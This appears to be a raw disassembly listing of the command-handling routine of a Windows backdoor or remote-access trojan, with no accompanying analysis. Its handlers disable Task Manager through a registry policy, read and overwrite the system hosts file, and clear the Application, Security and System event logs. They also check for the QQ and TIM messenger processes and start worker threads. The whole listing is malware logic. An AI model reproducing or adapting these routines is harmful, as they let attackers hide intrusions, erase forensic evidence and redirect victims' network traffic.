push 0x409960
push 0
push 0
mov dword [0x448cdc], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x4099b0
push 0
push 0
mov dword [0x448cd8], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409a50
push 0
push 0
mov dword [0x448cd0], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409a00
push 0
push 0
mov dword [0x448cd4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0x440ac4
call fcn.0041c939
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a34c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x40a34c.2
push 0x43fb4c
call fcn.0041c939
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a34c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x40a34c.2
mov edx, ecx
mov ecx, esi
call fcn.00409aa0
jmp case.0x40a34c.2
mov esi, dword [sym.imp.USER32.dll_BroadcastSystemMessageA]
push 0
push 2
push 0x10
push 0
push 2
call esi
push 0
push 2
push 0x10
push 0
push 4
call esi
push 0
push 2
push 0x10
push 0
push 8
call esi
push 0
push 2
push 0x10
push 0
push 0x20
call esi
push 0
push 2
push 0x10
push 0
push 0x30
call esi
push 0
push 2
push 0x10
push 0
push 0x40
call esi
push 0
push 2
push 0x10
push 0
push 0x80
call esi
push 0
push 2
push 0x10
push 0
push 0x100
call esi
push 0
push 2
push 0x10
push 0
push 0x10
call esi
jmp case.0x40a34c.2
push 0x201
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 0x2cc], 0
xorps xmm0, xmm0
mov dword [ebp - 0xd28], esi
movups xmmword [ebp - 0x2dc], xmm0
mov dword [ebp - 0x2c8], 0xf
mov byte [esi], 0xcf
mov dword [ebp - 0x18], 0x652e5151
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x28], 0x2e4d4954
mov dword [ebp - 0x24], 0x657865
mov byte [ebp - 0x2dc], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0x10
push eax
call fcn.004040b0
test eax, eax
je 0x40ca4d
lea ecx, [ebp - 0x18]
jmp 0x40ca5d
lea eax, [ebp - 0x28]
push eax
call fcn.004040b0
test eax, eax
je 0x40ca68
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x588]
call fcn.00405dd0
lea edi, [esi + 1]
mov ecx, 0x80
lea esi, [ebp - 0x588]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd28]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004110b0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x40a34c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cb1f
lea ecx, [ebp - 0x2e8]
push ecx
call eax
mov ax, word [ebp - 0x2e8]
cmp ax, 9
je 0x40cb01
cmp ax, 6
jne 0x40cb1f
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cb08
mov ecx, 7
mov esi, str._sysnativedriversetchosts
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40cb3a
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cb26
mov ecx, 7
mov esi, str._system32driversetchosts
rep movsd dword es:[edi], dword [esi]
push 0x80
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xd28], eax
cmp eax, 0xffffffff
je case.0x40a34c.2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [esi + 2]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push esi
mov esi, dword [ebp - 0xd28]
lea ecx, [edi + 1]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40cbbf
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a34c.2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov byte [edi], 0xdc
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push edi
call fcn.004110b0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x40a34c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cc6a
lea ecx, [ebp - 0x2e8]
push ecx
call eax
mov ax, word [ebp - 0x2e8]
cmp ax, 9
je 0x40cc4c
cmp ax, 6
jne 0x40cc6a
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc53
mov ecx, 7
mov esi, str._sysnativedriversetchosts
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40cc85
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc71
mov ecx, 7
mov esi, str._system32driversetchosts
rep movsd dword es:[edi], dword [esi]
push 0x80
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je case.0x40a34c.118
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0xd20]
push dword [ebp - 0xd2c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x98d
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [ebp - 0xd14]
mov dword [ebp - 0xd28], esi
mov byte [esi], 0xdd
call fcn.00407330
lea edi, [esi + 1]
mov ecx, 0x263
lea esi, [ebp - 0xd14]
jmp 0x40ca76
mov edx, ecx
mov ecx, esi
call fcn.00408090
jmp case.0x40a34c.2
movzx ecx, byte [esi + 1]
call fcn.00403e70
jmp case.0x40a34c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.004166e0
push 0x44a390
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e69614d
push eax
lea eax, [ebp - 0x788]
mov dword [ebp - 0x18], 0x5c6c6c44
push eax
mov word [ebp - 0x14], 0x7325
mov byte [ebp - 0x12], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x440b80
lea edx, [ebp - 0x788]
mov ecx, SysReAllocString
call fcn.00413440
add esp, 0x14
jmp case.0x40a34c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.004166e0
push 0x44a390
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e69614d
push eax
lea eax, [ebp - 0x788]
mov dword [ebp - 0x18], 0x5c6c6c44
push eax
mov word [ebp - 0x14], 0x7325
mov byte [ebp - 0x12], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x43fb28
jmp 0x40cd82
lea ecx, [esi + 1]
mov edx, 1
call fcn.00409ae0
jmp case.0x40a34c.2
lea ecx, [esi + 1]
xor edx, edx
call fcn.00409ae0
jmp case.0x40a34c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.004166e0
lea eax, [ebp - 0x788]
push str.MainDllClore
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x440bc8
jmp 0x40cd82
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.004166e0
lea eax, [ebp - 0x788]
push str.MainDllClore
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x440bd0
jmp 0x40cd82
mov eax, dword [edi + 4]
inc dword [eax + 0x50]
jmp case.0x40a34c.2
call fcn.0040d360
jmp case.0x40a34c.2
movzx eax, byte [esi + 1]
dec eax
mov dword [ebp - 0x1c], str.Application
mov dword [ebp - 0x18], str.Security
mov dword [ebp - 0x14], str.System
cmp eax, 3
ja case.0x40a34c.2
jmp dword [eax*4 + 0x40d164]
mov dword [ebp - 0x14], 0x441616
jmp 0x40cef0
mov dword [ebp - 0x1c], 0x441616
mov dword [ebp - 0x14], 0x441616
jmp case.0x40cec9.1
mov dword [ebp - 0x1c], 0x441616
mov dword [ebp - 0x18], 0x441616
xor esi, esi
nop dword [eax]
push dword [ebp + esi*4 - 0x1c]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x40cf22
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jb 0x40cf00
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret 8
push 0x80004005
call fcn.00410cc0
push 0x80004005
call fcn.00410cc0
call fcn.00404000
push 0x80004005
call fcn.00410cc0
push 0x80004005
call fcn.00410cc0
call fcn.00419665
call fcn.004040a0
call fcn.00406530
nop dword [eax]
xchg ecx, eax
into
inc eax
add cl, ch
retf